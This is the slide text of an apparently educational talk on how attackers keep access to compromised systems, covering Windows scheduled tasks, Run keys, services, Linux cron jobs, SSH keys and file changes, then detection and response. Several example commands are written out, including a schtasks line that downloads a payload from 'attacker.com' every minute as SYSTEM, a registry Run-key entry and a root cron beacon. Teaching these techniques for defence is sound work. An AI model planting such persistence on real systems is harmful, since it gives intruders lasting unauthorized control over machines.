Persistence

Jarrett Lane

What is persistence

- Persistence is an attacker's ability to maintain access to a compromised system
- This means that even after shutdowns, restarts, or interruptions, attackers are able to maintain control/access

Horse plinko

- Recently we did horse plinko, a blue team competition at UCF, it was awesome
- If you were listening to red team explain their techniques at the end, they mentioned that they had persistence on people's machines
- Even if blue team shut down the service, red team could still get back in once the service was back up
- This was inspiring, so I wanted to talk about it

Techniques for persistence

- Below are some common techniques that attackers use to maintain persistence:
  - Scheduled tasks (Windows)
  - Run keys (Windows)
  - System processes (Windows)
  - Chron jobs (Linux)
  - SSH key persistence (Linux)
  - File modifications (both but focusing on Linux)

Note

- I'm covering common ways to teach you about the concept, there are many more methods, and persistence doesn't have to be just for a Windows/Linux system

Scheduled Tasks (Windows)

- Scheduled tasks are used to automate the execution of programs or scripts at specified times or under certain conditions
- An attacker can leverage this to schedule their own malicious scripts
- An attacker can use powershell schedule a malicious task like so:
- schtasks /create /tn "DownloadPayload" /tr "powershell.exe -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\temp\payload.exe" /sc minute /mo 1 /ru SYSTEM
- In english: Create scheduled task "DownloadPayload" that downloads malware each minute

Quick Concept: Registry

- The Windows Registry is a central, hierarchical database that stores low-level configuration settings and options for the operating system, applications, and hardware devices
- In a registry you have Keys (or subkeys) that contain values that hold data
- Kinda similar to the traditional file hierarchy

Run keys (Windows)

- A run key is a registry configuration that lists programs to start when a system is turned on
- An attacker would like to add an entry that references their malicious payload
- Example payload: reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyStartupApp" /t REG_SZ /d "C:\Path\To\Your\Application.exe" /f
- In english: Edit registry at specified key to include or write over MyStartupApp value that holds the path to the payload

System Processes (Windows)

- Windows services are background programs that provide core system functionality and run without a user interface
- Attackers want to make a windows service repeatedly execute malicious payloads
- Services can also enable installation/execution of malicious drivers
- Example usage: BitPaymer
- BitPaymer was a ransomware that targeted hospitals in the UK, where it attempted to install itself as a service to maintain persistence

Chron Jobs (Linux)

- Chron is the Linux way of doing scheduled tasks
- Same idea as scheduled tasks but in Linux
- Example usage: */10 * * * * root /opt/beacon.sh
- In English: Run beacon as root every 10 minutes

SSH Key persistence

- SSH is a protocol that creates an encrypted session with a shell on a remote machine
- To set up SSH, you need a key pair for encryption
- If an attacker gets on a system, they can generate their own key pair and set it as an authorized key pair for SSH on that system
- They can do this by modifying the authorized_keys file
- Now they can SSH on your system without even needing a password

File modification

- Modifying system files is a persistence technique that can be carried out in various ways
- A simple example is that an attacker can modify /etc/passwd to change a password to something they know
- An attacker may also modify the permissions of existing files with SUID, enabling the program to run with root privileges
- ^An example of this is python, if python runs with root privileges, an attacker's python script is much more powerful, enabling persistence
- There are plenty of other ways, but these are two simple examples of how file modification can give persistence

How to detect/defend (common ways)

- Restrict access to sensitive files
- Restrict unnecessary services/programs
- Audit the task scheduler/chron jobs
- Check logs for abnormal tasks
- Use an EDR (Endpoint detection response) to monitor for abnormal behavior
- Check to make sure configuration files were not altered
- Many more

How to respond

- There are many playbooks/methodologies for responding, but a general way is:
  - Isolate the system
  - Preserve evidence
  - Revoke access to any associated accounts
  - Block further access to the system
  - Change credentials/keys
  - Preform threat hunting for the environment
  - Restore the system

Lab/Demo

- Let's see what persistence looks like

References

- https://www.spartanssec.com/post/windows-persistence-through-scheduled-tasks-a-red-team-perspective
- https://attack.mitre.org/techniques/T1547/001/
- https://attack.mitre.org/software/S0570/
- https://attack.mitre.org/techniques/T1543/003/
- https://www.cyberark.com/resources/threat-research-blog/persistence-techniques-that-persist
- https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/#7-scheduled-taskjob-cron
- https://cyberkhalid.github.io/posts/ssh-persist/
- https://securityboulevard.com/2024/10/linux-persistence-mechanisms-and-how-to-find-them/